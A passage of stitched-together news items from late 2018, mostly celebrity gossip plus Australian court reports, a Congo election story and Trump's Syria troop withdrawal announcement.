sleeves. And he completed his look by teaming up a pair of black trousers with white trainers, while he sported his trademark bearded look. Sweet: The EastEnders star, 41, was in high spirits as he spoke with the giddy women, as he embraced them and kissed their cheeks Nice of him: Danny proved to be a gentleman with his fans, taking his time to speak with them, sign their programmes, and take selfies What a gentleman: Danny held his fans closely to him as they met after the performance In the musical Danny plays Hollywood producer Mr Parker Lewis, and imitating life, Dani will portray Polly, his daughter. Polly is an aspiring actress and her father will do anything to get her into the spotlight. While Danny is a stalwart actor, Dani has thus far failed to launch a career as a performer - until now. She rose to fame over the summer on Love Island, going on to win the show with partner Jack Fincham. Very happy: One particular group of women were excited to meet the actor in person, as they wrapped their arms around his waist as they hugged him Handsome: Danny looked dapper as he wrapped up from the cold weather in a grey coat, which had a white fur trim across the hem and sleeves Peck: Danny even kissed his fans on the cheek as he met them outside the venue New role: In the musical Danny plays Hollywood producer Mr Parker Lewis, and imitating life, Dani will portray Polly, his daughter Nativity is thought to be Dani's first mainstream stage role; she has appeared in films Doghouse (2009), We Still Kill The Old Way (2014) and Age Of Kill (2015). Dad Danny also starred in Doghouse, but is best known currently for his role as Mick Carter in EastEnders, which he has starred in since 2013. Danny's stint at the Apollo will followed by more stage work in January and February. He will star in the Pinter At The Pinter season opposite Martin Freeman in the play The Dumb Waiter. Casual chic: Danny completed his look by teaming up a pair of black trousers with white trainers, while he sported his trademark bearded look Can't let go: A fan held on tightly to Danny for a moment as they spoke outside Runs in the family: While Danny is a stalwart actor, Dani has thus far failed to launch a career as a performer - until now Jennifer Lawrence was seen bundled up in New York City on Wednesday. The Red Sparrow actress was seen leaving a LaserAway shop where tattoo removal, hair removal and cool sculpting are offered. This sighting comes a day before a judge rejected Harvey Weinstein's request to dismiss his rape charges. On the go: Jennifer Lawrence was seen bundled up in New York City on Wednesday. The Red Sparrow actress was seen leaving a LaserAway shop where tattoo removal, hair removal and cool sculpting are offered Bad news for him: This sighting a day before a judge rejected Harvey Weinstein's request to dismiss his rape trial; seen at New York Supreme Court on Thursday The actress, 28, is at the center of a lawsuit that says Weinstein, 66, bragged about having sex with Lawrence as he sexually assaulted another woman, identified by the alias Jane Doe. Both Lawrence and Weinstein denied the claims made in the lawsuit filed on Friday by an actress in Los Angeles County. The Oscar winner set the record straight in a statement on Friday saying the allegations are false. Painful: The actress, 28, is at the center of a lawsuit that says Weinstein, 66, bragged about having sex with Lawrence as he sexually assaulted another woman, identified by the alias Jane Doe 'My heart breaks for all the women who were victimized by Harvey Weinstein... I have never had anything but a professional relationship with him,' she said. Meanwhile, on Thursday Harvey received some news that he was not hoping for. Weinstein will stand trial for rape after a judge refused to dismiss five charges against him. She spoke out: Both Lawrence and Weinstein denied the claims made in the lawsuit filed on Friday by an actress in Los Angeles County. The Oscar winner set the record straight in a statement on Friday saying the allegations are false. 'My heart breaks for all the women who were victimized by Harvey Weinstein... I have never had anything but a professional relationship with him' The mogul's short Manhattan Criminal Court appearance turned into a face-off on Thursday with a number of actresses waiting to stare down the disgraced executive in the courtroom. 'The court finds that there is no basis for the defendant's claim of prosecutorial or law enforcement misconduct in the proceedings, or pervasive falsity in and around the Grand Jury presentation,' read the judge's ruling. 'Moreover there is no basis in law that the conduct of law enforcement must be imputed to the prosecutor. ' Five years ago: Jennifer and Harvey seen together in 2013 at the Vanity Fair, Barneys New York and The Weinstein Company celebration of Silver Linings Playbook Weinstein had argued that the Grand Jury was not presented evidence that would have established the nature of the relsationship between himself and his accusers. These included emails he sent with one victim and texts from another thanking him for his help in securing a job. On Wednesday, Jennifer looked to be in a somber mood as she was outside the salon. The actress had on a yellow coat over a maroon top that nicely matched her loafers. Her slacks were a dark color that matched her purse and fun cap. Her next film is Dark Phoenix, which will be released in June 2019. She plays Raven/Mystique. Pete Davidson will return to Saturday Night Live when the next season of the show airs in mid-January. The comic is said to have 'turned a corner' in his mental health problems, after an outpouring of support as friends and family rallied round, according to TMZ. The 25-year-old sparked widespread concern for his well-being after he wrote on Instagram he didn't 'want to be on this earth anymore'. On the mend: Pete Davidson to return to SNL in January as he 'turns a corner on mental health problems after outpouring of support'; he is seen on Instagram earlier this month Series regular: Pete, left, stars on the long-running Saturday Night Live His cry for help prompted an outpouring of concern from fans, the comedian's famous friends and even exes including his former fiancee, Ariana Grande, who rushed to his 30 Rock office to check on him after he posted. Pete was initially reported by TMZ to have felt his SNL colleagues were not understanding of his troubles. But a source close to the show told DailyMail.com on Wednesday that all of SNL's crew had been 'incredibly' supportive of the comedian. The sources say that SNL executives including Lorne Michaels tried to arrange care for Davidson. Support: Pete's SNL colleagues are rallying round him And now Pete is now doing better, and is said to appreciate the concern of those around him. In addition Pete is fully expected to return to SNL when the show hits the airwaves early next year. Pete - who split from fiancee Ariana Grande earlier this year following a whirlwind romance with the pop star - previously admitted to having suicidal thoughts. He confessed: 'I've been getting online bullied and in public by people for 9 months. I've spoken about BPD and being suicidal publicly only in the hopes that it will help bring awareness and help kids like myself who don't want to be on this earth. 'No matter how hard the internet or anyone tries to make me kill myself. I won't. I'm upset I even have to say this.' Advertisement She is enjoying her annual festive jaunt to the Caribbean. And Emma Forbes looked sensational as she took to the beach in Barbados with a copy of Michelle Obama's autobiography Becoming on Thursday. The presenter, 53, displayed her fabulous figure in a plunging black swimsuit as she soaked up the sun in the Caribbean, before enjoying a dip in the ocean. Good read: Emma Forbes looked sensational as she took to the beach in Barbados with a copy of Michelle Obama's autobiography Becoming on Thursday The stunning swimsuit featured crochet detailing across the straps, with a descending neckline which flashed the star's perky cleavage. Hugging the star's taut midriff and slender waist, the high cut of the swimsuit showcased her toned legs as she strolled along. Keen to read up on Michelle's life, including her stint as First Lady in the White House, and raising two daughters in the media glare, Emma was seen kicking back on a sunlounger as she became engrossed in the book. Gorgeous: The presenter, 53, displayed her fabulous figure in a plunging black swimsuit as she soaked up the sun in the Caribbean, before enjoying a dip in the ocean Engrossed: Keen to read up on Michelle's life, including her stint as First Lady in the White House, and raising two daughters in the media glare, Emma was seen kicking back on a sunlounger as she became engrossed in the book Indepth: The star looked relaxed as she kicked back on her sunshine break Toned: The stunning swimsuit featured crochet detailing across the straps, with a descending neckline which flashed the star's perky cleavage Her chestnut crop was parted on the side, while a radiant dusting of make-up enhanced her pretty features. The former Live and Kicking star completed her look with black and gold shades. The TV sensation confessed her secret to looking fabulous at 50 when she appeared on Loose Women in June 2017. Of her lifestyle change, she told panelists: 'I had my children and never lost my baby weight. It's fine when kids are aged two or three, but theres a problem when they are 20. For me, I wanted to lose that weight. I didnt recognise myself. You dont look at that section of you. Leggy display: Hugging the star's taut midriff and slender waist, the high cut of the swimsuit showcased her toned legs as she strolled along Smile: The star flashed a hint of her peachy derriere as she walked through the waters Happy: Emma was greeted by her son Sam as she strolled out of the water She continued: 'Everyone made such a big deal about me turning 50 and were like are you gonna have a party? But I just wanted a change. You're very vulnerable at 50. Emma is mother to Lily, 21, and Sam, 19, from her 31-year marriage to wealthy financier Graham. The blonde bombshell married the banker in a romantic ceremony in September 1987. Emma claimed it was their leaving home which also prompted her to take action and change her lifestyle. Toned: The mother of two showed off her envy-inducing figure on the beach Chic: She slipped on a white and black polka dot cover-up Leggy: Emma was in good spirits as she whiled away the day with an iced coffee Chat: The star was seen chatting to a pal by the pink sunloungers She said: 'I had empty nest syndrome and I didnt want to be at home and eating. I just thought, have a lifestyle change. 'I didnt want surgery. I'd end up on Botched. I thought it's time to get on top of health. So I gave up sugar and I walked. I hiked up mountains.' Showing off her new blonde locks, Emma said she decided to change her hair colour on a whim within the last 24 hours when on the show. She said: 'Thats what happens when you're 50 and hormonal. You do radical things. 'It only happened in the last in the 24 hours. I just thought it would be fun a bit of reinvention. My husband said Ive always preferred blonde hair. Been with him 30 years!' Kicking back: The star sipped on an ice-cold beverage as she strolled along It was announced earlier in the week that she's set to star in the one-off sequel of Four Weddings And A Funeral, in March 2019. And ahead of her grueling work schedule, Alicia Vikander took some well deserved time off to do some last minute Christmas shopping with her husband Michael Fassbender, 41, while out and about in New York City on Wednesday afternoon. The 30-year-old beauty was dressed in a warm navy colored overcoat while flashing her large weddings rings and walking hand-in-hand with her man. Last minute shopping: Alicia Vikander enjoyed a loved up stroll with her husband Michael Fassbender on Wednesday while doing some last minute Christmas shopping in New York City Alicia dressed in a navy cashmere sweater and teamed the look with a pair of similar colored trousers. She layered the ensemble with a long overcoat and kept comfortable with fresh white sneakers. She accessorised her look with a scarf tightly wrapped around her neck as well as a cross body bag with a gold chain. Stunner: Alicia dressed in a navy cashmere sweater and teamed the look with a pair of similar colored trousers Chic: She accessorised her look with a scarf tightly wrapped around her neck as well as a cross body bag with a gold chain Alicia appeared to be makeup free for the shopping outing and kept a low profile with a pair of shades. The Tomb Raider star had her brunette locks styled up into a top knot and walked arm-in-arm with her beau. Michael also kept things casual in a khaki colored jacket with a pair of jeans. Casual ensemble: Michael also kept things casual in a khaki colored jacket with a pair of jeans Shopping around: According to onlookers, the Irish actor and Academy Award winner spent much of their afternoon shopping in designer stores Isabel Marant, Louis Vuitton and Ralph Lauren Smitten: The couple put on a cosy display as they made their way down the pavement He accessorised with a blue cap and also a pair of shades. According to onlookers, the Irish actor and Academy Award winner spent much of their afternoon shopping in designer stores Isabel Marant, Louis Vuitton and Ralph Lauren. The loved up duo were also spotted at one point signing autographs for a fan. Taking time for their fans: The loved up duo were also spotted at one point signing autographs for a fan Alicia and Michael first met while on the set of The Light Between Oceans in 2014. They tied the knot in a romantic ceremony in Ibiza in October 2017. Their outing comes amid claims Alicia will take on the role of Faith in the upcoming sequel to the iconic romantic 1994 comedy, Four Weddings and a Funeral. The Sun reported the sequel will see Alicia and Lily's James' characters marry, with Lily playing the daughter of Hugh Grant and Andie McDowell's characters Charles and Carrie. Pals: They bumped into heavily pregnant actress Haley Bennett and her partner director Joe Wrightin NYC Red Nose Day co-creator Richard Curtis wrote the original film, and has written the new short, while original director Mike Newel also returns for the sequel, which will pick up 25 years after the original film. One Red Nose Day and a Wedding will feature original Four Weddings cast members Hugh Grant, Andie MacDowell, Kristin Scott Thomas, John Hannah, Rowan Atkinson, David Haig, Sophie Thompson, James Fleet, David Bower, Robin McCaffrey, Anna Chancellor, Rupert Vansittart, Simon Kunz, Sara Crowe and Timothy Walker. They will be joined in the short film by some very special guest stars. The short film follows on from the huge success of Red Nose Day Actually, a follow up to Love Actually that premiered during Red Nose Day's 2017 edition. She always puts plenty of thought into her outfits. And Hailey Baldwin neatly matched her monotone beige get-up to her milky iced coffee as she stepped out on Thursday. The actress made a solo trip to the store to grab her pick me up in Beverly Hills, California at Blue Bottle Coffee. Not seen was her husband - and other half - Justin Bieber, who she wed this past fall. Having some alone time: Hailey Baldwin enjoyed a solo coffee run on Thursday morning in a mustard colored oversized knit sweater and a pair of trousers Hailey opted for an oversized mustard colored knit and track pants of a similar color She teamed the look with white chunky sneakers and kept her accessorised minimal to a pair of dainty earrings. The model flaunted her natural beauty with a bare face and a plump pout. Ray of sunshine! The 22-year-old beauty was a vision in yellow as she stepped out for the morning fuel at Blue Bottle Coffee Casual chic: She teamed the look with white chunky sneakers and kept her accessorised minimal to a pair of dainty earrings Hailey kept her blonde locks styled out and behind her ears as she walked back to her car with her iced coffee and breakfast treat. Later she peeled off her sweater to reveal a vintage Snoop Dogg tee shirt. The Drop The Mic's beau Bieber recently reflected on being a husband in a contemplative Instagram post, after spending his first Thanksgiving as a married man with Hailey and their families. 'Happy late thanksgiving to everyone,' he wrote in a photo of the wilderness. 'First thanksgiving as a married man, first time hosting thanksgiving. First time both sides of the family has come together. Fresh-faced beauty: The model flaunted her natural beauty with a bare face and a plump pout In the dog house: Later she peeled off her sweater to reveal a vintage Snoop Dogg tee shirt Justin on his new love: 'First thanksgiving as a married man, first time hosting thanksgiving. First time both sides of the family has come together,' he wrote on Thanksgiving Day 'Relationships are hard and love isn't always easy but thank you Jesus for showing me how! Every day is a learning process, trying to be more like him, patient, kind, selfless, boy I got a long way! But gods grace is sufficient!' Reports have also revealed that the loved up pair are currently shelling out an eye-watering $100,000 per month on a luxury rental home in Los Angeles. After getting engaged over the summer, the pair were spotted merely weeks later at a courthouse in New York City. After being unceremoniously booted from the Today show on Wednesday, Karl Stefanovic is no doubt doing some soul searching about his future. And on Friday, media executives offered their expert opinion on what the embattled TV Star should do to rehabilitate his 'damaged brand' in the wake of his disastrous exit from Today. Speaking to The Australian on Friday, former Nine chief executive David Leckie said Karl, 44, must serve time on Nine's flagship current affairs show 60 Minutes. 'He's dead meat': Former Channel Nine boss slams Karl Stefanovic (pictured) as media executives reveal the one way embattled TV host can rehabilitate his image after his sacking from Today Leckie, 67, said: 'I don't think he's beyond rehabilitation, but it's a close thing. 60 Minutes is screaming out for a Jana Wendt or a Ray Martin, because it's struggling right now. And Karl could be that figure.' Jana Wendt, 62, was one of 60 Minutes' first reporters, and became a media star in her own right, going on to host A Current Affair. Veteran journalist and TV presenter Ray Martin, 73, is also a 60 Minutes alumnus and Nine stalwart. Olive branch: On Friday, media executives offered their expert opinion on what Karl should do to rehabilitate his 'damaged brand' in the wake of his disastrous exit from Today Career rehab: Speaking to The Australian on Friday, former Nine chief executive David Leckie said Karl, 44, must serve time on Nine's flagship current affairs show 60 Minutes (pictured) Leckie was blunt in his assessment of Karl's current situation, telling The Australian: 'He's ruined his brand. I don't think he has any awareness about what he's done. 'He's dead meat.' But if Karl 'redeems himself' as a reporter on 60 Minutes, he could be reborn, claimed Leckie. Leckie, 67, said: 'I don't think he's beyond rehabilitation, but it's a close thing. 60 Minutes is screaming out for a Jana Wendt or a Ray Martin, because it's struggling right now. And Karl could be that figure.' Pictured: Karl and co-host Georgie Gardner on the Today show Peter Meaken, head of news and current affairs at the Ten Network, and former 60 Minutes boss John Westacott, echoed Leckie's advice, saying Karl could regain his professional footing on the long-running current affairs program. Karl meanwhile is no doubt enjoying some solace in the arms of his new wife Jasmine Yarbrough, 34, as the couple honeymoon in Aspen, Colorado. The couple tied in the knot in a lavish Mexican wedding on December 8. Karl Stefanovic's job prospects for when his Channel Nine contract ends in 2020 are looking bleak. The 44-year-old, who was sacked from the Today show on Wednesday while on his honeymoon in Aspen, has a year left on his $3million deal with the network. But should Nine choose not to renew the contract, Karl may have trouble finding employment at other TV stations. Next stop... Centrelink? Channel 10 and Seven have 'no interest' in hiring Karl Stefanovic when his $3million contract ends in 2020. Pictured on the Today show Nine's commercial rivals have claimed they have no interest in the star, The Daily Telegraph reported on Friday. In a withering statement from Channel 10, a spokesperson mocked Karl's situation, suggesting he should try reality TV instead. 'We are very happy with our current news and current affairs team,' they said. 'Obviously Karl is no longer available for The Bachelor, but if he wants to go to the jungle, put on his dancing shoes or strap on a MasterChef apron, he knows where to find us.' Channel Seven is reportedly also not interested in hiring Karl, despite bidding for his services in late 2015. Bad look: One possible reason TV networks are turned off by Karl is that he has reputation as a 'celebrity' anchor with a tabloid-bating personal life. Pictured with Jasmine Yarbrough on his wedding day in Los Cabos, Mexico on Saturday, December 8 One possible reason TV networks are turned off by Karl is that he has reputation as a 'celebrity' anchor with a tabloid-bating personal life. It is understood that he and brother Peter - who was axed by Nine altogether earlier this week - were nicknamed 'the Kardashian sisters of Willoughby' at the station. In an official network statement announcing his departure from Today on Wednesday, Karl said: 'For the last 14 years I've co-hosted the best show on television. I can't thank Nine enough for the opportunity. 'I never in my wildest dreams thought I would be good enough to host this grand show for so long. 'Thanks to our viewers mostly, you are what matters most. It's been a tough time. Thanks for hanging in there. I look forward to seeing you in another capacity at this great network soon.' Meanwhile, it is rumoured the fallen breakfast TV star could be redeployed as Nine's U.S. correspondent, where he would serve out the remainder of his contract. Too demanding? Karl and his brother Peter - who was axed by Nine altogether earlier this week - were apparently nicknamed 'the Kardashian sisters of Willoughby' at the network It comes after Nine sources claimed earlier this week that executives were 'horrified' by the coverage of Karl's wedding to Jasmine Yarbrough, 34, in Mexico. Senior management figures were particularly outraged by the fact 'exclusive' photos from the December 8 ceremony had been supplied to Who magazine. While it's understood there was no paid deal with the publication, higher-ups were upset that a rival outlet had been prioritised over Nine. Image problem: Today's ratings began a steep decline in 2016, after Karl left his wife-of-21-years Cassandra Thorburn (left) and began dating a younger woman, Jasmine, later that year Today's ratings began a steep decline in 2016, after Karl left his wife-of-21-years Cassandra Thorburn and began dating a younger woman, Jasmine, later that year. Audience figures plunged to a 12-year low in September, and it's believed network executives finally decided to axe Karl this week after his 'over-the-top' nuptials. Nine insiders told The Australian that management had no choice but to sack the host, 44, due to the 'crazy' media headlines surrounding his personal life. Meanwhile, according to the Herald Sun, Karl was 'assured his job was safe' before flying to Los Cabos for his four-day wedding at the start of the month. He was apparently blindsided by the sacking, with a source claiming: 'Karl had no idea - he left for Mexico thinking he would still be on Today. They told him face to face. They looked him in the eye. But the writing was on the wall.' Brad Pitt was back to business as usual in Los Angeles on Wednesday. The 55-year-old actor was taking meetings for his film career in Hollywood and Beverly Hills. And he was seen with a fun but funky man purse on his shoulder. This comes after he had a monitored overnight visit with five of the six kids he shares with Angelina Jolie. Biz minded: Brad Pitt was back to business as usual in Los Angeles on Wednesday. The 55-year-old actor was taking meetings for his film career in Hollywood and Beverly Hills Brad carried a woven purse on his shoulder and a water bottle through a parking lot. He had on a black jacket over a grey shirt and dark grey slacks with white/grey sneakers. And the Troy actor added a cap and sunglasses for a scruffy actor look. A man bag: Brad carried a woven purse on his shoulder and a water bottle through a parking lot Simple duds for a complex man: He had on a black jacket over a grey shirt and dark grey slacks with white/grey sneakers The iconic actor turned 55 years old on Tuesday and woke up in the same house with five of his six children. This follows the end of a recent custody battle with Jolie. Brad and Angie's five youngest children stayed overnight with their dad on Monday, Us Weekly reported. 'Brad had the kids overnight all but [eldest] Maddox which was incredibly significant because it was the first time since the custody deal was recently reached,' a source told Us. New chapter: A source told Us Weekly that the visit was monitored per the couple's recent custody agreement and marked the first time since proceedings began in 2016 that the kids have stayed with their father; Jolie and the kids in 2017 It had been previously reported that since the bitter divorce proceedings between the couple began in 2016, the former power duo fought over custody. The couple seen in 2015 in Hollywood 'The overnight was monitored as part of the custody agreement, as Brad's visits with the children have been since this slog began two years ago' an insider told Us. Adding: 'The kids have a routine at Brad's house, with a very strict bedtime and limited screen time, including iPads.' Brad and his 43-year-old Oscar winning ex-wife settled their custody agreement just one month ago. After a hard fought battle, Angelina reportedly claimed that her ex got what he wanted in the deal. Originally, The Lara Croft star wanted full legal and physical custody of their six children while Brad wanted to share. He will also be able to 'regularly have his children overnight at his house for the first time since the divorce proceedings began.' The pair share Maddox, 17, Pax, 15, Zahara, 13, Shiloh, 12, and twins Knox and Vivienne, 10. 'The visits will continue to be monitored, including the overnights until the therapists agree that it's no longer needed,' the source told Us. 'This is a transition time for the entire family, and it's being done with a lot of input from the therapists.' Strong lady: Jolie wrote a powerfully worded letter for The Economist this week on the refugee crisis; seen in January in Brussels During the custody fight, the couple's eldest son Maddox was able to choose whether or not he would spend time with his adoptive father as he is nearly a legal adult. Younger brother Pax, who Angelina and Brad adopted when he was three-years-old in 2007, has to see his father per the custody agreement. Last week it was alleged Angelina told Pax that his father 'never wanted to adopt him,' according to an Us Weekly source. He sure loves Hollywood: At the HFA Hollywood film awards in November She also allegedly told the boy during the fallout that Brad 'was angry' she had proceeded with the adoption. The source claimed Brad was instead concerned about adopting a three-year-old who didn't speak English less than a year after they welcomed Shiloh, in what was a 'very difficult time for the couple'. Angelina allegedly told him at the time: 'Pax needs me more than Shiloh.' 'They almost ended the relationship, but Brad stayed,' the source added. Brad and Angelina got together in 2005 but were only married for two years before they called it quits. A Sydney man is behind bars accused of deliberately drowning another man in a bathtub five years ago. Steven Copo-Horton was unable to be revived when found by paramedics in the tub at a home in Emerton, in Sydney's west, in October 2013. Detectives from the unsolved homicide unit on Tuesday arrested a 44-year-old man after taking over the investigation in March. He was charged with murder and refused bail to appear at Parramatta Local Court on Thursday. Police will allege in court the man "deliberately drowned Mr Copo-Horton in the bathtub that night". Detective Superintendent Scott Cook said investigators never gave up on the case and wanted to seek justice. Mr Copo-Horton's family said it had been a tough five years since his death. "Stevie was so full of life; always happy and full of hugs and kisses," the family said in a statement via NSW Police. "Stevie touched the lives of so many people just by being him." An Australian government worker has been accused of helping import exotic fish and selling them online using a fake name. The senior biosecurity officer at the Department of Agriculture and Water Resources was charged in November following an investigation into five illegal imports involving Vietnamese and Malaysian nationals in 2017 and 2018. Department officials later discovered evidence allegedly linking the employee to one of the Malaysians. Authorities were also anonymously tipped off about the suspected illegal sale of fish on Facebook. Investigators raided the man's Sydney home last month, finding several rare fish and more than $10,000 in suspected proceeds of crime. The man has been charged with three offences, including abusing public office and illegally importing goods. He is due to face Downing Centre Local Court on Thursday. "The alleged conduct of this man is an abuse of public office, and the AFP owes it to the community to investigate and prosecute these matters to the full extent of the law," Australian Federal Police Detective Acting Superintendent Simone O'Mahony said in a statement on Thursday. DAWR's Peta Lane said the man's alleged activities were first spotted during internal investigations. "The alleged illegal importation of exotic fish threatens the integrity of Australia's biosecurity, so it's a very serious offence," she said. A middle-aged NSW man has been accused of trying to groom an underage girl for sex and sending another girl sexually-inappropriate material. The 57-year-old from the Central Coast was arrested outside a fast food restaurant on Wednesday and charged with several offences. Police allege he'd been having sexually-explicit conversations with a 14-year-old girl online before making arrangements to meet her for sex. He's also accused of sending sexually inappropriate material to the mobile phone of another 14-year-old girl, whom he met at a shopping centre in Bateau Bay last week. The man has been refused bail to appear at Wyong Local Court on Thursday. In a separate matter, police arrested and charged a 64-year-old man in Sydney's west over accusations he was speaking with a 13-year-old girl about sexual acts he wished to perform with the child before arranging to meet her for sex. He was refused bail in court on Wednesday, with his matter to return in February. Commonwealth Bank has signed up with Alipay in a move that will allow Chinese tourists to make purchases in Australia via the world's largest mobile payment platform. CBA says local businesses will from Thursday be able to add the Alipay app to the bank's so-called Albert payment terminals, allowing them to better tap the $10.9 billion Chinese tourist market. There are 94,000 of the wireless devices in Australia. "This is a game changer and we are thrilled to be the first major bank to provide Alipay as a payment option for customers," CBA business customer solutions boss Clive Van Horen said. With 900 million users worldwide, Alipay is the workd;s largest mobile and online payment platform. Apple Pay, which CBA last week said it would use from January, reportedly has about 250 million users. Australia welcomed 1.4 million Chinese visitors in the past year, while 166,000 Chinese nationals study in the country. An Adelaide man's decision to intervene when he heard a Rebels bikie kicking down the door of a sleeping woman's home cost him his life, a court has heard. Ben Gravett, 29, was fatally stabbed in the neck at a Christie Downs unit complex in 2016, after he interrupted three men collecting a drug debt. A jury earlier this year found Mikel Higgins guilty of his murder, Jesse Hunt guilty of manslaughter and acquitted a third man, Korii Gebhardt, of all charges. The Supreme Court on Tuesday heard Higgins, 35, was a member of the Rebels outlaw motorcycle club, which relies on a reputation of violence to instil fear in victims. "He went (to the unit) for purposes that would involve fear and intimidation and it worked in all but one case," prosecutor Jim Pearce QC said. "Mr Gravett was the one person that wasn't going to be cowered by Mr Higgins and by Mr Higgins' helpers." He said other people had witnessed Higgins kicking the door, but did not intervene and some would not give statements to the police. Mr Gravett's mother, Rebecca, spoke directly to her son's killers as she remembered a "loving, caring person who enjoyed life". "None of you have shown any remorse, as if Ben's life didn't matter. Well, it did. It did to us," she said in a victim impact statement. "To lose a child in such a violent way is soul-destroying." During the trial, jurors heard Higgins had forced his way into the unit while Hunt and Gebhardt kept guard outside, but the person they were looking for wasn't home. Mr Gravett decided to intervene and approached Higgins from behind, before hitting him over the head with a metal bar. Higgins then chased him outside the unit, where he was set upon and "overpowered by the sheer weight of numbers". The court heard it was Higgins who inflicted the fatal stab wound to Mr Gravett's neck. Mr Pearce on Tuesday rejected suggestions by Higgins' lawyer that he should receive a non-parole period lower than the mandatory 20 years because of Mr Gravett's actions leading up to the murder. Bill Boucaut SC, for Hunt, said the 23-year-old was unaware of the details of the debt collection but "went to make up the numbers". "He was nowhere near Mr Gravett when he was stabbed, he did not see it, he took no part in it, and was horrified and shocked," Mr Boucaut said. Justice Kevin Nicholson will sentence Higgins and Hunt next year. A man who killed newlyweds in Melbourne after speeding through a red light in a stolen SUV has been jailed for 13 years. Eric Victorsen, 20, was sentenced in the Victorian County Court on Thursday after pleading guilty to two charges of culpable driving causing death and one count of leaving the scene of an accident. "Despite your bleak future prospects the court has some hope you will mature in custody," Judge Geoff Chettle told Victorsen. "I am heartily sick of listening to the horror of victim impact statements in cases like yours." The family had been left devastated by the loss of Matthew Goland and his wife Bita Zaeim. "They are much loved and sorely missed," the judge said. Victorsen was sentenced to 13 years in jail with a non-parole period of eight years. A staggering 80 per cent of all indigenous art and craft items sold in Australia have shown to be fake. The parliamentary inquiry looking into the art market found the "inauthentic items have no connection to First Nations peoples and are often cheaply made imports". The indigenous affairs committee has recommended the indigenous art code receives more funding to crack down on dodgy practices and that First Nations art centres be better resourced. "These imitation products have a profound and harmful effect on First Nations peoples and do not teach or inform the buyer about indigenous heritage," committee chair and Liberal MP Ann Sudmalis said on Thursday. "It is an ethical and moral demand that we assist this guardianship into the future." Supporters of opposition leader Martin Fayulu hold up four fingers -- the candidate is No. 4 on the ballot paper -- as they demonstrate at a crossroads in Kinshasa's Ndjili district Elections in Democratic Republic of Congo -- due to take place on Sunday -- may be postponed for a week, a senior electoral official has told AFP, after electronic voting machines were destroyed in a suspected arson attack on a warehouse last week. The official, from the Independent National Election Commission (CENI), speaking on condition of anonymity, said on Wednesday that both the presidential and legislative polls could be delayed. President Joseph Kabila is scheduled to step down after nearly 18 years in power following the elections -- which are already two years overdue. Nearly 8,000 of some 10,000 voting terminals for the capital Kinshasa were destroyed in the warehouse blaze last Wednesday, according to CENI. Around 11 percent of the country's 44 million registered voters live in the city. Opposition candidates last week suggested the government could have been behind the fire, to use as a pretext to again delay the vote. A "seven-day postponement" is being discussed, the CENI official said on Wednesday, as efforts are made to obtain replacement machines. "We are not going to ask for anyone's opinion, even that of the head of state," the source insisted, adding that a formal decision may be announced on Thursday. CENI head Corneille Nangaa is considering that matter and will hold a press conference on Thursday in Kinshasa, a spokesman for the election commission said. - 'Extremists are prepared' - The possible election postponement comes as problems have piled up ahead of the December 23 vote, with violence at electoral rallies, inter-ethnic conflict, militia attacks in the east and an Ebola outbreak. Electoral campaigning began on November 22, since when at least six people have died in violence, according to Congolese rights NGO Acaj. The authorities deny that there have been any deaths linked to the campaign. The governor of Kinshasa on Wednesday announced a ban on all public rallies due to security concerns -- as opposition hopeful Martin Fayulu said he had been blocked from entering the city. Democratic Republic of Congo "Extremists are prepared and are preparing for confrontations in the streets of the city of Kinshasa during election campaigning," governor Andre Kimbuta said in a statement. The ban applies to "all presidential candidates, without exception," Kimbuta said, giving no details as to how long the measure would last. Fayulu had been due to hold a meeting in the city. The opposition candidate said on Twitter that the government had "prevented (him) from returning" to Kinshasa and that his motorcade had been attacked in Masinimba, east of the capital. "What are they are afraid of?" he asked. Police blocked the N1 highway on the city's outskirts, which Fayulu's motorcade would have used, and fired teargas to disperse several hundred supporters who had come to greet him, an AFP reporter saw. Fayulu has repeatedly accused the authorities of trying to thwart regional campaign appearances in the sprawling country. - Crucial vote - More than 40 million people are eligible to cast their vote on Sunday. The elections are a huge challenge for DRC, which has never known a peaceful transition of power since it gained independence from Belgium in 1960. Kabila, 47, came to power after his father was assassinated in 2001. He is at the helm of a government that critics say is notorious for corruption, incompetence and rights abuse. Kabila should have stepped down as president at the end of 2016 when he reached a two-term limit. He stayed on, invoking a caretaker clause in the constitution, but at the cost of protests that were bloodily repressed. - Front-runners - Twenty-one candidates are vying to replace him. The pack is led by Kabila's hand-picked successor Emmanuel Ramazani Shadary, a hardline former interior minister linked to the crackdown, and opposition leaders Fayulu and Felix Tshisekedi. Opposition candidate Martin Fayulu, seen here in the eastern city of Beni on December 5, had scheduled a rally in Kinshasa on Wednesday -- the city authorities have now said that all public campaigning is suspended Fayulu, 62, was a little-known legislator from a minority party who was thrust into the limelight on November 11 when opposition leaders named him their choice as a consensus candidate. His nomination was initially backed by six other opposition leaders, including two political heavyweights -- ex-warlord Jean-Pierre Bemba and businessman Moise Katumbi, an exiled former provincial governor, both of whom were blocked from running. But the deal swiftly fell apart as Tshisekedi, who heads the UDPS -- the country's oldest and biggest opposition party -- insisted he would take his own tilt at the presidency. Adding to political tensions is the logistical hurdle of organising the elections. Parts of eastern DRC are in the grip of militia violence and an Ebola epidemic, raising many questions about whether an orderly ballot can take place there. US President Donald Trump said the US has "defeated ISIS in Syria," calling the jihadist group his "only reason for being there during the Trump presidency" The Islamic State group has been "beaten" in Syria, US President Donald Trump said Wednesday in announcing a stunning order to pull American ground forces from the war-ravaged nation. The momentous decision to withdraw, which runs counter to long-established US policy for Syria and the region, blindsided lawmakers, the Pentagon and international allies alike. "We've won against ISIS," Trump said in a short video posted on Twitter. "We've beaten them and we've beaten them badly. We've taken back the land. And now it's time for our troops to come back home." A withdrawal could have extraordinary geopolitical ramifications, and plunges into uncertainty the fate of US-backed Kurdish fighters who have been tackling Islamic State jihadists, thousands of whom are thought to remain in Syria. A US official told AFP that Trump's decision was finalized Tuesday. "Full withdrawal, all means all," the official said when asked if the troops would be pulled from across Syria. Currently, about 2,000 US forces are in the country, most of them on a train-and-advise mission to support local forces fighting IS. Pentagon officials scrambled for a reaction after Trump earlier tweeted that IS had been "defeated." A spokeswoman eventually said the Defense Department had "started the process" of bringing troops home. Lawmakers assailed Trump's decision, saying it could embolden Ankara to attack US-backed Kurdish fighters. Republican Senator Lindsey Graham, a Trump ally, said the president's decision was unwise and put the Kurds "at risk," while Democratic Senator Jack Reed said it amounted to a "betrayal" of the Kurds that "provides further evidence of President Trump's inability to lead on the world stage." Blasting the move as a "huge Obama-like mistake," Graham said "I fear it will lead to devastating consequences for our nation, the region and throughout the world." Most US troops are stationed in northern Syria, though a small contingent is based at a garrison in Al-Tanaf, near the Jordanian and Iraqi borders. Trump has previously voiced skepticism about the US presence in Syria, 